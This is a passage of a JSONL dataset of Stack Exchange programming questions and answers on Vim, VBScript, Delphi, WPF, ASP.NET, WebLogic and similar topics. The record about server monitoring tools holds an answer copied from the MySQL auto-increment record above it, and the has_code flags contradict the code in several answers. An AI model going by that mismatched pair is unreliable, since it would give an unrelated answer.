"has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.290597"}
{"id": "hf_69fb818ee464", "question": "<p>In <a href=\"http://en.wikipedia.org/wiki/Vim_%28text_editor%29\" rel=\"noreferrer\">Vim</a>, how do I  insert characters at the beginning of each line in a selection?</p>\n\n<p>For instance,  I want to comment out a block of code by prepending <code>//</code> at the beginning of each line assuming my language's comment system doesn't allow block commenting like <code>/* */</code>.  How would I do this?</p>\n", "question_body": "", "answer": "This replaces the beginning of\neach line\nwith \"//\":\n```\n```\n:%s!^!//!\n```\n```\nThis replaces the beginning of\neach selected line\n(use visual mode to select) with \"//\":\n```\n```\n:'<,'>s!^!//!\n```\n```\nNote\nthat\n```\ngv\n```\n(in normal mode) restores the last visual selection, this comes in handy from time to time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.339455"}
{"id": "hf_237ee40b6ebe", "question": "<p>I need to add a row to a spreadsheet using VBScript on a PC that does not have Microsoft Office installed.</p>\n\n<p>I tried [<code>Set objExcel = CreateObject(\"Excel.Application\")</code>]</p>\n\n<p>Since Excel does not exist on the PC I cannot create this object.</p>\n\n<p>Is there a way to modify a spreadsheet without Excel?</p>\n", "question_body": "", "answer": "Without Excel installed I cannot see how you will be able to change an Excel document.\nHowever, If your are using Excel 2007 spreadsheets (xslx) then you should able to use the OpenXML functionality of the .NET Framework to update the contents without Excel physically being installed.\nTake a look\nhere\nfor more information on Office OpenXML.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.363200"}
{"id": "hf_452fa7076159", "question": "<p>Delphi (and probably a lot of other languages) has class helpers. These provide a way to add extra methods to an existing class. Without making a subclass.</p>\n\n<p>So, what are good uses for class helpers?</p>\n", "question_body": "", "answer": "At first I was kind of sceptic about class helpers. But then I read an interesting\nblog entry\nand now I'm convinced that they are indeed useful.\nFor example, if you want extra functionality for an existing instance class and for some reason you are not able to change the existing source. You can create a class helper to add this functionality.\nExample:\n```\n```\ntype\n  TStringsHelper = class helper for TStrings\n  public\n    function IsEmpty: Boolean;\n  end;\n\nfunction TStringsHelper.IsEmpty: Boolean;\nbegin\n  Result := Count = 0;\nend;\n```\n```\nEvery time, we now use an instance of (a subclass of) TStrings, and TStringsHelper is within the scope. We have access to the method IsEmpty.\nExample:\n```\n```\nprocedure TForm1.Button1Click(Sender: TObject);\nbegin\n  if Memo1.Lines.IsEmpty then\n    Button1.Caption := 'Empty'\n  else\n    Button1.Caption := 'Filled';\nend;\n```\n```\nNotes:\nClass helpers can be stored in a separate unit, so you can add your own nifty class helpers. Be sure to give these units a easy to remember name like ClassesHelpers for helpers for the Classes unit.\nThere are also record helpers.\nIf there are multiple class helpers within scope, expect some problems, only one helper can be used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.386545"}
{"id": "hf_63cf163840f1", "question": "<p>Alright, I know how the <code>fieldset</code>/<code>legend</code> works out in HTML. Say you have a form with some fields:</p>\n\n<pre><code>&lt;form&gt;\n    &lt;fieldset&gt;\n        &lt;legend&gt;legend&lt;/legend&gt;\n        &lt;input name=\"input1\" /&gt;\n    &lt;/fieldset&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>What should I use the <code>legend</code> for? It's being displayed as a <strong>title</strong>, but isn't a legend semantically an explanation of the contents? In my view, preferably you'd do something like this:</p>\n\n<pre><code>&lt;form&gt;\n    &lt;fieldset&gt;\n        &lt;legend&gt;* = required&lt;/legend&gt;\n        &lt;label for=\"input1\"&gt;input 1 *&lt;/label&gt;&lt;input id=\"input1\" name=\"input1\" /&gt;\n    &lt;/fieldset&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>But that doesn't really work out with how fieldsets are rendered. Is this just a ambigious naming in HTML, or is it my misunderstanding of the English word 'legend'?</p>\n\n<hr>\n\n<p>Edit: fixed some errors ;-)</p>\n", "question_body": "", "answer": "Yes, the naming is ambiguous. It’s best to consider it as a caption for the fieldset.\nSee\nthe HTML spec on\n```\nFIELDSET\n```\nand\n```\nLEGEND\n```\nelements\nif you haven’t already:\nThe\n```\nLEGEND\n```\nelement allows authors to assign a caption to a\n```\nFIELDSET\n```\n. The legend improves accessibility when the\n```\nFIELDSET\n```\nis rendered non-visually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.422174"}
{"id": "hf_f6fbd2d71cd0", "question": "<p>I have a WPF control, that has a list of \"Investors\", and in the right column of the list, a \"Delete\" button.</p>\n\n<p>I could either waste some time making an image of an \"x\" in photoshop. Or, I could just use Wingdings font and set the content to \"Õ\" (which makes a cool looking delete button).</p>\n\n<p>Is this appropriate? My thinking is... while not every font family is on every computer, I'm pretty sure that it's safe to say that if you're running my WPF Windows Forms program, then you have Wingdings.</p>\n\n<p>What do you think? Please try to give statistics (not just feelings) on the matter. Should I worry about font size? etc.</p>\n", "question_body": "", "answer": "Honestly, if you're using WPF, it's probably just as easy to use a path to make an 'x' shape:\n```\n```\n<Style x:Key=\"DeleteButtonStyle\" TargetType=\"{x:Type Button}\">\n        <Setter Property=\"HorizontalAlignment\" Value=\"Stretch\"/>\n        <Setter Property=\"HorizontalContentAlignment\" Value=\"Center\"/>\n        <Setter Property=\"VerticalAlignment\" Value=\"Stretch\"/>\n        <Setter Property=\"VerticalContentAlignment\" Value=\"Center\"/>\n        <Setter Property=\"Cursor\" Value=\"Hand\"/>\n        <Setter Property=\"Template\">\n            <Setter.Value>\n                <ControlTemplate TargetType=\"{x:Type Button}\">\n                    <Grid HorizontalAlignment=\"Center\" VerticalAlignment=\"Center\">\n                        <Path Name=\"Circle\" Data=\"F1 M 0 7.5 A 7.5 7.5 0 1 1 15 7.5 A 7.5 7.5 0 1 1 0 7.5\"/>\n                        <Path Fill=\"White\" Data=\"F1 M 7.5 6 L 10.5,3 12,4.5 9,7.5 12,10.5 10.5,12 7.5,9 4.5,12 3,10.5 6,7.5 3,4.5 4.5,3 Z\"/>\n                    </Grid>\n                    <ControlTemplate.Triggers>\n                        <Trigger Property=\"IsMouseOver\" Value=\"True\">\n                            <Setter Property=\"Fill\" TargetName=\"Circle\" Value=\"SlateGray\"/>\n                        </Trigger>\n                        <Trigger Property=\"IsMouseOver\" Value=\"False\">\n                            <Setter Property=\"Fill\" TargetName=\"Circle\" Value=\"DarkGray\"/>\n                        </Trigger>\n                        <DataTrigger Binding=\"{Binding}\" Value=\"{x:Null}\">\n                            <Setter Property=\"Visibility\" Value=\"Hidden\"/>\n                        </DataTrigger>\n                    </ControlTemplate.Triggers>\n                </ControlTemplate>\n            </Setter.Value>\n        </Setter>\n        <Setter Property=\"ToolTip\" Value=\"Delete This Item\"/>\n    </Style>\n```\n```\nJust apply this style to a button, and you get an instant \"delete\" button!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.470577"}
{"id": "hf_d070ff516f57", "question": "<p>What is their use if when you call the method, it might not exist?</p>\n\n<p>Does that mean that you would be able to dynamically create a method on a dynamic object?</p>\n\n<p>What are the practical use of this?</p>\n", "question_body": "", "answer": "You won't really be able to dynamically create the method - but you can get an implementation of\n```\nIDynamicMetaObject\n```\n(often by extending\n```\nDynamicObject\n```\n) to respond\nas if the method existed\n.\nUses:\nProgramming against COM objects with a weak API (e.g. office)\nCalling into dynamic languages such as Ruby/Python\nPotentially making \"explorable\" objects - imagine an XPath-like query but via a method/property calls e.g.\n```\ndocument.RootElement.Person[5].Name[\"Attribute\"]\n```\nNo doubt many more we have yet to think of :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.533534"}
{"id": "hf_59df4f27fdb3", "question": "<p>I know how to capture a camera snaphot on Windows Mobile 5.0/6 using SHCameraCapture. But is there something more extensive that allows me much finer control? Namely to get available zoom levels and to set the zoom level programmatically, also e.g. different ISO modes / lightsensitivity and setting of macro mode if available. (I.e. similar to what <a href=\"http://developer.sonyericsson.com/docs/DOC-1674\" rel=\"nofollow noreferrer\">JSR 234</a> offers). </p>\n\n<p>My project is probably going to be written in C++.</p>\n\n<p>Update: It is supposed to run on all available WM 5.0 and 6 devices. I am looking for a generic solution that is not specific to a particular model.</p>\n", "question_body": "", "answer": "For the ISO modes, light sensitivity and other advanced controls etc. it is usually device specific from everything I've seen. I know different manufacturers will expose their imager libraries through their SDKs. What sort of mobile device are you using? Check with the manufacturer for an API exposed through their SDK.\nFor simple stuff you've probably already had a look at the following Class:\nCameraCaptureDialog Class\nAnd for things like image quality this one:\nCameraCaptureStillQuality Enumeration\n** Note: These are for Windows Mobile 6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.631836"}
{"id": "hf_b9169eadee87", "question": "<p>I want to create a subclass of TabPage that contains some control, and I want to control the layout and properties of those controls through the designer.  However, if I open my subclass in the designer, I can't position them like I could on a UserControl.  I don't want to have to create a TabPage with an UserControl instance on it, I want to design the TabPage directly.</p>\n\n<p>How do I do that?  I've tried changing the Designer and DesignerCategory attributes, but I haven't found any values that help.</p>\n", "question_body": "", "answer": "I've had a similar problem in the past.\nWhat i did first was switch from inheriting Usercontrol to tabpage like so\nclass UserInterface : UserControl // Do designer bit then change it to\nclass UserInterface : TabPage\nSecond i Just put all my controls and stuff in the usercontrol and docked that into a tabpage.\nthird i've made a generic class that takes any usercontrol and does the docking automatically.\nso you can take your 'UserInterface' class and just get a type that you can add to a System.Windows.Forms.TabControl\n```\n```\npublic class UserTabControl<T> : TabPage\n    where T : UserControl, new ()\n{\n    private T _userControl;\n    public T UserControl \n    { \n        get{ return _userControl;}\n        set\n        {          \n            _userControl = value;\n            OnUserControlChanged(EventArgs.Empty);\n        }\n    }\n    public event EventHandler UserControlChanged;\n    protected virtual void OnUserControlChanged(EventArgs e)\n    {\n        //add user control docked to tabpage\n        this.Controls.Clear();      \n        UserControl.Dock = DockStyle.Fill;\n        this.Controls.Add(UserControl);\n\n        if (UserControlChanged != null)\n        {\n            UserControlChanged(this, e);\n        }\n    }\n\n    public UserTabControl() : this(\"UserTabControl\")\n    {\n    }\n\n    public UserTabControl(string text) \n        : this( new T(),text )\n    {\n    }\n\n    public UserTabControl(T userControl) \n        : this(userControl, userControl.Name)\n    {\n    }\n\n    public UserTabControl(T userControl, string tabtext)\n        : base(tabtext)\n    {\n        InitializeComponent();\n        UserControl = userControl;  \n    }\n\n    private void InitializeComponent()\n    {\n        this.SuspendLayout();\n        // \n        // UserTabControl\n        // \n\n        this.BackColor = System.Drawing.Color.Transparent;\n        this.Padding = new System.Windows.Forms.Padding(3);\n        this.UseVisualStyleBackColor = true;\n        this.ResumeLayout(false);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.656045"}
{"id": "hf_8af50fe380d2", "question": "<p>I have a line (actually a cube) going from (x1,y1,z1) to (x2,y2,z2). I would like to rotate it so that it is aligned along another line going from (x3,y3,z3) to (x4,y4,z4). Presently I am using <code>Math::Atan2</code> along with <code>Matrix::RotateYawPitchRoll</code>. Any better ways to do this?</p>\n\n<p>Edit: I think I've worded this post very badly. What I am actually looking for is a Rotation Matrix from two Vectors.</p>\n", "question_body": "", "answer": "Yes you can do this without needing to think in terms of angles at all.\nSince you have a cube, suppose you pick one corner and then define the 3 edges radiating out from it as vectors f0, f1, f2 (these are direction vectors, relative to the corner you've picked).  Normalise those and write them as columns in a matrix F\n```\n```\n(f0x f1x f2x)\n(f0y f1y f2y)\n(f0z f1z f2z)\n```\n```\nNow do the same thing for the vectors t0, t1, t2 of the cube you want to rotate to and call it matrix T.\nNow the matrix R = T * Inverse(F) is the matrix which rotates from the orientation of the first cube to the orientation of the second (because inverse F maps e.g f0 to (1 0 0)', and then T maps (1 0 0)' to t0).\nIf you want to know why this works, think in terms of coordinate system basis vectors: if you want to rotate the X Y and Z axes to a new coordinate system, well the columns of the rotation matrix are just the vectors you want (1 0 0)', (0 1 0)' & (0 0 1)' to be mapped to.  T*Inverse(F) is effectively rotating your cube from its original orientation to axis aligned, and then to the desired orientation.\n(Sorry, above is for column vectors and transforms on the left, OpenGL style.  I seem to remember Direct3D is row vectors and transforms on the right, but it should be obvious how to switch it around).\nIt also applies equally well to 4x4 matrices with a translation component too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.717049"}
{"id": "hf_e7137ad2f30b", "question": "<p>I've written some custom model binders (implementing IModelBinder) in our ASP.NET MVC application. I'm wondering what is a good approach to unittest them (binders)?</p>\n", "question_body": "", "answer": "I did it this way:\n```\n```\nvar formElements = new NameValueCollection() { {\"FirstName\",\"Bubba\"}, {\"MiddleName\", \"\"}, {\"LastName\", \"Gump\"} };         \nvar fakeController = GetControllerContext(formElements);\nvar valueProvider = new Mock<IValueProvider>();           \n\nvar bindingContext = new ModelBindingContext(fakeController, valueProvider.Object, typeof(Guid), null, null, null, null);\n\nprivate static ControllerContext GetControllerContext(NameValueCollection form) {\n    Mock<HttpRequestBase> mockRequest = new Mock<HttpRequestBase>();\n    mockRequest.Expect(r => r.Form).Returns(form);\n\n    Mock<HttpContextBase> mockHttpContext = new Mock<HttpContextBase>();\n    mockHttpContext.Expect(c => c.Request).Returns(mockRequest.Object);\n\n    return new ControllerContext(mockHttpContext.Object, new RouteData(), new Mock<ControllerBase>().Object);\n}\n```\n```\nAnd then I just passed in the bindingContext variable to the BindModel method of the object that implements the IModelBinder interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.769174"}
{"id": "hf_218f82d3c886", "question": "<p>Since <a href=\"https://stackoverflow.com/questions/253522/do-numerical-primary-keys-of-deleted-records-in-a-database-get-reused-for-futur\">DBs do not reuse numbers of deleted records</a> it is possible to run out of numbers, especially if you pick not really a big integer type for this column.<br>\nWhat would happen and how to prevent it if it's bad?</p>\n\n<p>// SQL Server, MySQL //</p>\n", "question_body": "", "answer": "For MySQL, it is documented that:\nThe behavior of the auto-increment mechanism is not defined if a user assigns a negative value to the column or if the value becomes bigger than the maximum integer that can be stored in the specified integer type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.830005"}
{"id": "hf_c60cbd06b6ab", "question": "<p>I'm looking for an OpenSource server monitoring tool that allows the following:</p>\n\n<ul>\n<li>Monitor a variety of services on TCP, UDP.</li>\n<li>Supports custom port numbers.</li>\n<li>Supports some basic response checking (beyond initial connection checking).</li>\n<li>Basic dashboard overview of health status.</li>\n<li>Alert notifications via e-mail.</li>\n</ul>\n\n<p>I could roll my own, but want to make sure I don't reinvent the wheel if there's a complete suite out there that does what I want (and maybe more!).</p>\n\n<p><strong>EDIT</strong>: Preferably software that runs on Windows.</p>\n", "question_body": "", "answer": "For MySQL, it is documented that:\nThe behavior of the auto-increment mechanism is not defined if a user assigns a negative value to the column or if the value becomes bigger than the maximum integer that can be stored in the specified integer type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.854466"}
{"id": "hf_d6075101bbb9", "question": "<p>What is the slowest (therefore best) hash algorithm for passwords in ASP Classic?</p>\n\n<p>EDIT: For those unaware, when hashing passwords, slower hashes are preferred to faster to help slow rainbow table style attacks. </p>\n\n<p>EDIT2: And yes, of course speed isn't the only valid concern for hash selection. My question assumes that <strong>All other things being equal</strong>, <a href=\"http://www.securityfocus.com/blogs/262\" rel=\"nofollow noreferrer\">the slowest hash method is preferred</a> when hashing a password. Though collision/reverse engineering is of course a concern too, I'm prioritizing speed in this question since it is arguably the most critical factor to consider when comparing popular hash algorithms for use on passwords.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "psuedocode for the slowest method:\n```\n```\nfunction hashPassword(password)\n    sleep for 10 seconds\n    return password\nend function\n```\n```\nThis certainly isn't the most secure (or at all) but it's slow...\n(I'm just pointing out that making it slower is not the answer...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.939522"}
{"id": "hf_47dcb9c17922", "question": "<p>I am making an expand/collapse call rates table for the company I work for. I currently have a table with a button under it to expand it, the button says \"Expand\". It is functional except I need the button to change to \"Collapse\" when it is clicked and then of course back to \"Expand\" when it is clicked again. The writing on the button is a background image.</p>\n\n<p>So basically all I need is to change the background image of a div when it is clicked, except sort of like a toggle.</p>\n", "question_body": "", "answer": "```\n```\n$('#divID').css(\"background-image\", \"url(/myimage.jpg)\");\n```\n```\nShould do the trick, just hook it up in a click event on the element\n```\n```\n$('#divID').click(function()\n{\n  // do my image switching logic here.\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.964134"}
{"id": "hf_7c223660217f", "question": "<p>I am trying to start WebLogic within Eclipse</p>\n\n<p>When it starts it complains like this.</p>\n\n<p>Unable to load performance pack. Using Java I/O instead. Please ensure that wlntio.dll is in: 'C:\\bea81\\jdk142_04\\bin;.;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\bea81\\jdk142_04\\jre\\bin;C:\\Program Files\\Java\\jre1.6.0\\bin\\client;C:\\Program Files\\Java\\jre1.6.0\\bin;C:\\sybase\\JS-12_5\\bin;C:\\sybase\\OCS-12_5\\lib3p;C:\\sybase\\OCS-12_5\\dll;C:\\sybase\\OCS-12_5\\bin;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\Program Files\\Common Files\\Roxio Shared\\DLLShared\\;C:\\Program Files\\Common Files\\Roxio Shared\\DLLShared\\;C:\\Program Files\\Common Files\\Roxio Shared\\9.0\\DLLShared\\;C:\\Program Files\\cvsnt;C:\\Program Files\\Executive Software\\DiskeeperWorkstation\\;'</p>\n\n<blockquote>\n  <p></p>\n</blockquote>\n", "question_body": "", "answer": "Make sure that wlintio.dll is in the path. The location may vary depending on Weblogic version; in 9.2 it is in $BEA_HOME/server/native/win/32", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.999385"}
{"id": "hf_88135a3df5af", "question": "<p>I have a web application that allows a user to search on some criteria, select an object, edit it and then return to the previous search.  All the editing takes place on a separate page linked to the datagrid of returned results.  I was wondering what is the best way to store the previous search parameters so that when they return to the grid they have the same search they previously used.  The best option I came up with is to use a NameValue collection of each of the selected paramters and store that to Session or a cookie when the user presses the search button.  Any other ideas as to a better way to approach this?</p>\n", "question_body": "", "answer": "In our app, we have dozens of lists with search fields. We've designed a simple utility class that generates a unique string based on the current Page and stores it in the session.\n```\n```\npublic static string GenerateSessionKeyFromPage(Page page)\n    {\n        return \"__\" + page.Request.Path;\n    }\n```\n```\nThis allows us to store the search field without having to maintain a NameValue collection every time we add a new page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.035085"}
{"id": "hf_ded79644b91c", "question": "<p>I have a dropdown list that stores name/value pairs. The dropdown appears in each row of a gridview.</p>\n\n<p>The values in the dropdown correspond to a third attribute (data type) not persisted in the dropdown list. I'd like to create a client-side \"lookup\" table so that when a user chooses a dropdown value, the proper data type populates next to it.</p>\n\n<p>What's the best way to accomplish this in an ASP.NET application? The List of value/attributes could potentially range from 1 to 100 members in a list...</p>\n", "question_body": "", "answer": "If you want it all  to run client side, then your only option is probably JavaScript.\n```\n```\nvar oVals = new Array('1','2','3','4','5');\n\ndocument.getElementById(\"cell1\").innerHTML = oVals[document.getElementById(\"dropdown1\").selectedIndex];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.072745"}
{"id": "hf_bbec52d0f74b", "question": "<p>When building static libraries with VS2005 I keep getting linker warnings that VC80.pdb cant be found with my library.lib. Apparently, as a result, the edit and continue feature of the IDE fails to work any project that incorporates library.lib</p>\n\n<p>What magic is needed to tell VS2005 to produce a static lib with edit and continue debug info that does NOT reference or require vs80.pdb when linked into a project?</p>\n\n<p>--Upon Further Understanding--\nSo, In order to get edit-and-continue to function with a pre-compiled static lib, we need to place the vs80.pdb and vs80.pdb file into SVN along with the .lib, AND rename the pdb/idb to prevent conflicts when doing this with multiple pre-compiled libs.</p>\n", "question_body": "", "answer": "vc80.pdb is the file that contains the debug information for your lib.  In the ide Property pages:configuration properties:c\\c++:output files allows you to rename this to something more appropriate, such as the name of your lib.  When the linker links your lib into the target exe it looks for this pdb (there is a pointer to it in the lib) and extracts the info from that pdb and drops it in the exe's pdb.\n/Fd[name] is the option for renaming the pdb\n/ZI is the option for compiling with a pdb that includes Edit and Continue information.\nAll linked libs and the final taget exe or dll need /ZI, to enable edit and continue.\nI made a tiny testlib.lib and used \"dumpbin /all\" to get the following showing the pointer to the debug info (this is a tiny excerpt):\n```\n```\nSECTION HEADER #7\n.debug$T name\n       0 physical address\n       0 virtual address\n      48 size of raw data\n     838 file pointer to raw data (00000838 to 0000087F)\n       0 file pointer to relocation table\n       0 file pointer to line numbers\n       0 number of relocations\n       0 number of line numbers\n42100040 flags\n         Initialized Data\n         Discardable\n         1 byte align\n         Read Only\n\nRAW DATA #7\n  00000000: 04 00 00 00 42 00 15 15 D5 EA 1E C9 7C 10 3A 40  ....B...Õê.É|.:@\n  00000010: 93 63 CE 95 77 15 49 4A 03 00 00 00 64 3A 5C 64  .cÎ.w.IJ....d:\\d\n  00000020: 65 76 5C 74 65 73 74 5C 74 65 73 74 6C 69 62 5C  ev\\test\\testlib\\\n  00000030: 74 65 73 74 6C 69 62 5C 64 65 62 75 67 5C 76 63  testlib\\debug\\vc\n  00000040: 38 30 2E 70 64 62 00 F1                          80.pdb.ñ\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.122534"}
{"id": "hf_ed0332203f90", "question": "<p>I have a web page that has a web form for signing up. I want to remove fields. I've tried removing the field code from the .asp file but obviously there are other things that I need to remove along those lines. I have full access to all the code but I need help knowing where things are linked as far as making the form work again. Our programmer bailed. </p>\n\n<p>A step by step guide would be great on this. thanks.</p>\n", "question_body": "", "answer": "If they're just .ASP files, you should be fine removing the field tag, along with any references to it.\nI.e. you'd delete this line:\n```\n```\n<asp:TextBox id=\"text1\" runat=\"server\" />\n```\n```\nand do a search for the 'id' attribute in the rest of the file (a find on 'text1' in this case), and remove those lines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.147720"}
{"id": "hf_15bbb6c93a60", "question": "<p>I have a report that is used by a windows service and a form application.  So, I want to put embed the report in a DLL file that can be used by both.</p>\n\n<p>The problem is that if I try to set the ReportEmbeddedResource property of a ReportViewer control in my windows form app, it will search the windows form app for the resource, not the dll file.</p>\n\n<p>e.g.: Code from the windows form app:</p>\n\n<pre><code>rv.LocalReport.ReportEmbeddedResource = \"MyReportInMyDLLFile.rdlc\"\n</code></pre>\n\n<p>How can I make the above command look for the embedded resource in my DLL file?</p>\n", "question_body": "", "answer": "Probably the best thing to do would be to get a stream to the RDLC resource from the other assembly, then pass that to the \"LoadReportDefinition\" method of the Report Viewer control.\nDetails of how to get a stream from an embedded resource in a different assembly can be found here :\nRetrieving Resources with the ResourceManager Class\nAdditionally, you will need to refer to the embedded resource using it's full namespace path.\nE.g. if you have an application with a default namespace of\nTheApp\n, and you keep a report called \"\nMyReport.rdlc\n\" in a folder called \"\nReports\n\", the report reference call would be:-\n```\n```\nrv.LocalReport.ReportEmbeddedResource = \"TheApp.Reports.MyReport.rdlc\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.179246"}
{"id": "hf_aef86e79f834", "question": "<p>Having not done ASP.NET since v1.1, and now blitzing through the Wrox Pro ASP.NET v3.5 book, what other resources are available to get me developing enterprise ASP.NET apps the fastest?</p>\n\n<p>I've been developing in DotNet since Beta and have been doing Winform &amp; middle-layer architecture/design/dev for 3.5 years now (as this has been my client's desires). But I'm finding my falling behind has hurt me concerning a new client. :(</p>\n\n<p>I'd appreciate any advice on moving forward as fast as possible. I'm looking for anything RAD related or even just great books on the subject that you recommend. Right now, I'm having fun consuming the Wrox book though. Thanx much!</p>\n", "question_body": "", "answer": "Take a look to the\nASP.NET Dynamic Data\nScaffolding Framework (included in the .NET Framework 3.5 SP1), it allows you to build   really quickly data driven web applications.\nHere\nyou can find more good videos and resources about this RAD feature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.227465"}
{"id": "hf_f1ff05bf5c6f", "question": "<p>In following code, I want to extend the behaviour of a class by deriving/subclassing it, and make use of an event of the base class:</p>\n\n<pre><code>public class A\n{\n    public event EventHandler SomeEvent;\n\n    public void someMethod()\n    {\n        if(SomeEvent != null) SomeEvent(this, someArgs);\n    }\n}\n\npublic class B : A\n{\n    public void someOtherMethod()\n    {\n        if(SomeEvent != null) SomeEvent(this, someArgs); // &lt;&lt; why is this not possible?\n//Error: The event 'SomeEvent' can only appear on the left hand side of += or -= \n//(except when used from within the type 'A')\n    }\n}\n</code></pre>\n\n<p>Why isn't it possible?</p>\n\n<p>And what is the common solution for this kind of situation?</p>\n", "question_body": "", "answer": "The standard practice here is to have a protected virtual method OnSomeEvent on your base class, then call that method in derived classes. Also, for threading reasons you will want to keep a reference to the handler before checking null and calling it.\nFor an explanation of the why read\nJon Skeet's\nanswer or the\nC# specification\nwhich describes how the compiler automatically creates a private field.\nHere is one possible work around.\n```\n```\npublic class A\n{\n    public event EventHandler SomeEvent;\n\n    public void someMethod()\n    {\n        OnSomeEvent();\n    }\n\n    protected void OnSomeEvent()\n    {\n        EventHandler handler = SomeEvent;\n        if(handler != null)\n            handler(this, someArgs);\n    }\n}\n\npublic class B : A\n{\n    public void someOtherMethod()\n    {\n        OnSomeEvent();\n    }\n}\n```\n```\nEdit:\nUpdated code based upon\nFramework Design Guidelines section 5.4\nand\nreminders\nby others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.251618"}
